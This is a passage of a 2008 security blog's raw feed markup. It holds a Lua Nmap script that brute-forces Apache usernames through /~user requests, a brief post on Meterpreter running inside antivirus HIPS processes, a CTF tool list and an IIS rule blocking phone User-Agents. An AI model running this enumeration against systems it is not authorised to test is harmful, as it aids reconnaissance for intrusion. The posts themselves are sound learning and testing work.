class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;-- return output&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style=""&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;--end&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;So after 3 hours of learning the nuances of LUA, I came up with the script below.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;Recursive code isn’t the fastest way to do this, but the network I/O will be the real bottle neck.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;To make it faster I’d need to parallelize the GET request and that would probably take a little more LUA experience.&lt;span style="mso-spacerun: yes"&gt;  &lt;/span&gt;&lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;To me it means the NSE is very powerful tool and could prove to be a viable alternative to Nessus in the future.&lt;span style="mso-spacerun: yes"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;Here is a sample run.&lt;span style="mso-spacerun:yes"&gt;   &lt;/span&gt;Now I can just give it an NSE extension and add it to my /usr/local/share/nmap/scripts directory!&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Macintosh:scripts mark.baggett$ nmap localhost -p 80 -n --script ~/HTTPApacheUsers2.txt&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_wHrCn3UcXN0/SGP4NWMM-kI/AAAAAAAAACI/exRiXwDwWVc/s1600-h/Picture+4.jpg"&gt;&lt;img src="http://3.bp.blogspot.com/_wHrCn3UcXN0/SGP4NWMM-kI/AAAAAAAAACI/exRiXwDwWVc/s400/Picture+4.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5216285701603916354" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; " /&gt;&lt;/a&gt;&lt;p class="MsoNormal"&gt;Here is the script.&lt;span style="mso-spacerun:yes"&gt;   &lt;/span&gt;Adjust your CHARSET and MAXLENGTH as desired.&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;require('shortport')&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;require('strbuf')&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;require('listop')&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;require('http')&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;id = "HTTPApacheUsers.nse"&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;author = "Mark Baggett &lt;mbaggett@morris.com&gt;"&lt;/mbaggett@morris.com&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;description = "Brute force usernames on Apache"&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;license = "Same as Nmap--See http://nmap.org/book/man-legal.html"&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;categories = {"intrusive", "discovery"}&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;runlevel = 1.0&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;portrule = shortport.port_or_service({80,443}, {"http","https"}&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;--charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.,-_"&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;charset = "abcdefghijklmnopqrstuvwxyz"&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;username = ''&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;maxlength = 3&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;local function replacechar( instring, pos, newchar)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        if pos == 1 then&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                -- replace first character&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                instring = newchar .. string.sub(instring,2)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        else&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                -- replace mid or end character&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                instring = string.sub(instring,1, pos-1) .. newchar .. string.sub(instring,pos+1)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        end&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        return instring&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;local function IncUser(position) &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        local userchar = string.sub(username, position, position)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        if userchar == '' then &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                --the current character is Null add the first char from charset to the end&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                username = string.sub(username, 1 ,position) .. string.sub(charset,1,1)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        elseif userchar == string.sub(charset,-1) then&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                --Reset current char and Increment the next char&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                username = replacechar(username, position, string.sub(charset,1,1)) &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                IncUser(position+1)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        else&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                -- Just increment the current character&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                curchar = string.find(charset, userchar)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                username = replacechar(username, position, string.sub(charset,curchar + 1,curchar+1))&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        end&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        return username&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;action = function(host, port)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        local output = "No Root User Found"&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        local answer = http.get( host, port, "/~root")&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        --      print(answer.body)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        if answer.status == 403 then&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;          --  print("Root User Found.")&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;            output = "Root user found.  "&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;            while string.len(username) &lt;= maxlength do&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                IncUser(1)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                tryme= "/~" .. username&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                local answer = http.get( host, port, tryme)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;--              print(answer.status)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                if answer.status == 403 then&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                        output = output .. " User found " .. username .. "." &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;     --   print(output)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;                end&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;            end&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        end&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;        return output&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-7697423709965730456?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/7697423709965730456'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/7697423709965730456'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/06/first-stab-at-nse-scripting.html' title='First Stab at NSE Scripting'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_wHrCn3UcXN0/SGP4NBx1pCI/AAAAAAAAACA/P-dvOsTHsGw/s72-c/Picture+6.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-4161345447206881682</id><published>2008-05-30T20:07:00.005-04:00</published><updated>2008-05-30T20:38:40.142-04:00</updated><title type='text'>IRONY?</title><content type='html'>&lt;div&gt;Here are some screen captures of the Meterpreter threads running inside the Symantec SEP 11 HIPS process and inside the McAfee TOPS HIPS process.   I guess DLL injection into the HIPS process isn't a malicious enough behavior.&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_wHrCn3UcXN0/SECdrUx40SI/AAAAAAAAABQ/ItaKeUKjHvI/s1600-h/Picture+2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://4.bp.blogspot.com/_wHrCn3UcXN0/SECdrUx40SI/AAAAAAAAABQ/ItaKeUKjHvI/s200/Picture+2.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5206334536878182690" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_wHrCn3UcXN0/SECdr0x40TI/AAAAAAAAABY/kDjnSRDE688/s1600-h/Picture+3.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://2.bp.blogspot.com/_wHrCn3UcXN0/SECdr0x40TI/AAAAAAAAABY/kDjnSRDE688/s200/Picture+3.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5206334545468117298" /&gt;&lt;/a&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Both HIPS seems to do a good job of blocking network based exploits, but its still game over if a client runs malicious code or the attacker knows a valid login and password for the box.  MAYBE all is not lost.  The verdict is still out on whether or not the HIPS config can be adjusted to block this type of backdoor.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-4161345447206881682?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/4161345447206881682'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/4161345447206881682'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/05/irony.html' title='IRONY?'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_wHrCn3UcXN0/SECdrUx40SI/AAAAAAAAABQ/ItaKeUKjHvI/s72-c/Picture+2.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-1699427449249071070</id><published>2008-05-19T08:22:00.004-04:00</published><updated>2008-05-19T08:46:37.371-04:00</updated><title type='text'>ISSA CTF Event</title><content type='html'>Over the weekend the Greater Augusta ISSA (&lt;a href="http://www.issa.org/"&gt;Information Systems Security Association&lt;/a&gt;) had a Interactive Capture the flag event.   McAfee, ASU and Elliot Davis sponsored the event providing an IPS to monitor the event, facilities and computers for attendees to use.    McAfee also hosted a flag protected by McAfee &lt;a href="http://www.mcafee.com/us/enterprise/products/host_intrusion_prevention/host_intrusion_prevention_server.html"&gt;HIPS&lt;/a&gt; and &lt;a href="http://www.mcafee.com/us/enterprise/products/network_intrusion_prevention/network_security_platform.html"&gt;Intrushield&lt;/a&gt; which no one was able to get.   But McAfee still awarded the $100 dollar prize to the individual who did capture 7 of the 9 total flags.   Over the 4 hour period I walked attendees through tactics used by our enemies to break into the systems we are paid to protect.   The event was well attended and I think it was well received.   As promised, I am placing links to some of the tools used during the event on this blog.   We may do the event again some time so I am not including the PowerPoint with the "solutions".   The presentation material will be provided to individual attendees via email and by request only.  If you attended and want a copy of the presentation material email me.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Tools Used&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Windows TCPDUMP that doesn't require the installation of  Winpcap.   &lt;a href="http://www.microolap.com/products/network/tcpdump/"&gt;HERE&lt;/a&gt;&lt;/div&gt;&lt;div&gt;NESSUS Vulnerability Scanner   &lt;a href="http://www.nessus.org/nessus/"&gt;HERE&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Enum4Linux.pl -  Linux tool that uses Null Sessions to enumerate Windows Users, Groups and Shares  &lt;a href="http://www.portcullis-security.com/tools/free/enum4linux-0.7.0.tar.gz"&gt;HERE&lt;/a&gt;&lt;/div&gt;&lt;div&gt;BackTrack Penetration Testing Bootable CD &lt;a href="http://www.remote-exploit.org/backtrack.html"&gt;HERE&lt;/a&gt;&lt;/div&gt;&lt;div&gt;At the moment backtrack's official website is down.  &lt;a href="http://backtrack.offensive-security.com/index.php?title=Main_Page"&gt;Here&lt;/a&gt; is an alternate location to download it.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-1699427449249071070?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/1699427449249071070'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3840785077954302324/posts/default/1699427449249071070'/><link rel='alternate' type='text/html' href='http://www.indepthdefense.com/2008/05/issa-ctf-event.html' title='ISSA CTF Event'/><author><name>&lt;b&gt;Jesus Freak, Security Nerd &lt;/b&gt;</name><uri>http://www.blogger.com/profile/17506248363186095351</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-3840785077954302324.post-4304907307748228801</id><published>2008-05-06T21:30:00.007-04:00</published><updated>2008-05-07T13:29:15.528-04:00</updated><title type='text'>Update: Blocking Unauthorized Devices from accessing OWA</title><content type='html'>&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;With the help of several coworkers we are blocking the troublesome User-Agents.   Here is a way to do it:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;ISAPI Rewrite is a Mod Rewrite implementation for IIS.   There is a lite and a full version available here:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;http://www.isapirewrite.com/&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:Verdana;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:Verdana;"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;So with the configuration below you can block the unauthorized blackberries.   I will edit the original post to include the solution.  For full details see the April 2008 post on the subject on this blog.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Verdana;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;!--StartFragment--&gt;&lt;span style="font-family:Verdana, Helvetica, Arial;"&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;RewriteEngine  on&lt;br /&gt;#Block Blackberry and other smartphones&lt;br /&gt;RewriteCond %{&lt;/span&gt;&lt;span style="color:#0000FF;"&gt;&lt;u&gt;&lt;a href="http://www.blogger.com/User-Agent"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;HTTP:User-Agent&lt;/span&gt;&lt;/a&gt;&lt;/u&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;}  (?:BWC.Worker.*|BWC.Engine.*|MSFT-SPhone.*|PalmOne-TreoAce.*|AvantGO.*) [NC]  &lt;br /&gt;RewriteRule .? -  [F,L]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;  &lt;/span&gt;&lt;!--EndFragment--&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Here is another approach for handling the blackberry devices which blocks it by IP address.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;http://www.billwarnke.com/index.php/tech/38-internet/54-blocking-blackberry-bis-from-accessing-exchangeowa-email&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3840785077954302324-4304907307748228801?l=www.indepthdefense.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' 